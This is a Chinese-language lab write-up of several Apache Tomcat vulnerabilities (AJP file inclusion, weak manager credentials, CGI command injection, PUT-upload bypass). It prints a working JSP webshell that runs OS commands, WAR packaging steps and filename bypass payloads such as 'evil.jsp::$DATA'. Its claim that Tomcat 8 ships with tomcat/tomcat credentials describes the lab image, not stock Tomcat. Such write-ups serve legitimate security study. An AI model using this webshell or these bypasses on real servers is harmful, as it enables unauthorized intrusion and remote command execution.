描述
Tomcat是Apache 軟件基金會(Apache Software Foundation)的Jakarta 項目中的一個核心項目,由Apache、Sun 和其他一些公司及個人共同開發而成。由於有了Sun 的參與和支持,最新的Servlet 和JSP 規范總是能在Tomcat 中得到體現,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 規范。因為Tomcat 技術先進、性能穩定,而且免費,因而深受Java 愛好者的喜愛並得到了部分軟件開發商的認可,成為目前比較流行的Web 應用服務器。
Tomcat 服務器是一個免費的開放源代碼的Web 應用服務器,屬於輕量級應用服務器,在中小型系統和並發訪問用戶不是很多的場合下被普遍使用,是開發和調試JSP 程序的首選。對於一個初學者來說,可以這樣認為,當在一台機器上配置好Apache 服務器,可利用它響應HTML(標准通用標記語言下的一個應用)頁面的訪問請求。實際上Tomcat是Apache 服務器的擴展,但運行時它是獨立運行的,所以當你運行tomcat 時,它實際上作為一個與Apache 獨立的進程單獨運行的。
訣竅是,當配置正確時,Apache 為HTML頁面服務,而Tomcat 實際上運行JSP 頁面和Servlet。另外,Tomcat和IIS等Web服務器一樣,具有處理HTML頁面的功能,另外它還是一個Servlet和JSP容器,獨立的Servlet容器是Tomcat的默認模式。不過,Tomcat處理靜態HTML的能力不如Apache服務器。目前Tomcat最新版本為10.0.5。
漏洞總結
CVE-2020-1938 文件包含漏洞
CVE-2020-1938為Tomcat AJP文件包含漏洞。由長亭科技安全研究員發現的存在於 Tomcat中的安全漏洞,由於 Tomcat AJP協議設計上存在缺陷,攻擊者通過 Tomcat AJP Connector可以讀取或包含 Tomcat上所有 webapp目錄下的任意文件,例如可以讀取 webapp配置文件或源碼。
此外在目標應用有文件上傳功能的情況下,配合文件包含的利用還可以達到遠程代碼執行的危害。
漏洞影響版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
漏洞分析
Tomcat在處理ajp協議時存在漏洞,可通過調用request.setAttribute為Tomcat設置任意request屬性。復現發現Tomcat ajp協議存在web目錄下任意文件讀取漏洞以及JSP文件包含漏洞。
當ajp URI設置為非jsp路徑時,Tomcat會調用DefaultServlet處理,此時會導致web目錄任意文件讀取漏洞。
當ajp URI設置為jsp路徑時,Tomcat會調用JspServlet處理,此時會導致JSP文件包含漏洞
poc地址
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
這里不做復現
Tomcat后台弱口令漏洞
在tomcat8環境下默認進入后台的密碼為tomcat/tomcat,未修改造成未授權即可進入后台
復現
搭建環境,我使用的是9.0.46版本
訪問后台管理地址,使用tomcat/tomcat進入后台
war木馬的制作過程
找到一個jsp的木馬
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
2.將sp木馬放入 jdk1.8.0_73bin 目錄下,然后在cmd輸出已下命令(注意是必須在java環境下的,必須使用管理員權限的)
jar cvf +部署的war木馬 +自己bin目錄下的jsp木馬
木馬制作成功
上傳制作的war木馬
訪問上傳的1.jsp目錄然后就可以執行我們想要執行的系統命令
CVE-2019-0232 Apache Tomcat遠程代碼執行漏洞
漏洞原理
漏洞相關的代碼在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中,CGIServlet提供了一個cgi的調用接口,在啟用 enableCmdLineArguments 參數時,會根據RFC 3875來從Url參數中生成命令行參數,並把參數傳遞至Java的 Runtime 執行。這個漏洞是因為 Runtime.getRuntime().exec 在Windows中和Linux中底層實現不同導致的
Java的 Runtime.getRuntime().exec 在CGI調用這種情況下很難有命令注入。而Windows中創建進程使用的是 CreateProcess ,會將參數合並成字符串,作為 lpComandLine 傳入 CreateProcess 。程序啟動后調用 GetCommandLine 獲取參數,並調用 CommandLineToArgvW 傳至 argv。在Windows中,當 CreateProcess 中的參數為 bat 文件或是 cmd 文件時,會調用 cmd.exe , 故最后會變成 cmd.exe /c "arg.bat & dir",而Java的調用過程並沒有做任何的轉義,所以在Windows下會存在漏洞
復現
Tomcat的 CGI_Servlet組件默認是關閉的,在conf/web.xml中找到注釋的 CGIServlet部分,去掉注釋,並配置enableCmdLineArguments和executable
這里注意一下,去掉注釋並添加以下代碼
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
然后在conf/web.xml中啟用cgi的 servlet-mapping
修改conf/context.xml的添加 privileged="true"屬性,否則會沒有權限
在C:\Tomcat\webapps\ROOT\WEB-INF下創建cgi-bin目錄,再在cgi-bin目錄下創建一個hello.bat文件
hello.bat內容
在文件后面追加我們要執行的系統命令
CVE-2017-12615 Tomcat遠程代碼執行漏洞(PUT請求)
首先聲明的是CVE-2017-12615漏洞的利用條件是Windows+Tomcat 7.0.x+配置文件readonly=false,配置文件內容如:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
可以使用PUT方法上傳任意文件,但限制了jsp后綴的上傳
但是當我們利用Windows特性以下面兩種方式上傳文件時,tomcat並不認為其是jsp文件從而交由DefaultServlet處理,從而成功創建jsp文件。
evil.jsp%20
evil.jsp::$DATA
初次之外當我們上傳evil.jsp/ 類型的文件時(即以反斜杠結尾)時同樣會成功創建jsp文件,並且這種方式把PUT漏洞的利用擴展到了Linux平台及Tomcat的5.x-9.x的所有版本
環境搭建
這里使用vuluhub的docker進行漏洞復現,這里就不詳細介紹環境搭建了
訪問8080端口 對應的是Tomcat 8.5.19
使用burp抓包發現為get請求
將其改為PUT請求 並添加內容后發包 返回201
訪問1.html 可以看到我們剛才寫進去的內容
嘗試傳入jsp文件馬 返回404,並不能成功上傳文件
這時候就要用到我們剛才說的,因為我是vuluhub搭建的 所有可以使用1.jsp/來繞過
直接使用冰蠍進行鏈接
參考文章
https://mp.weixin.qq.com/s/CJ3e4lx0AlLq_zJI4rHw2A
https://blog.csdn.net/helloexp/article/details/89377270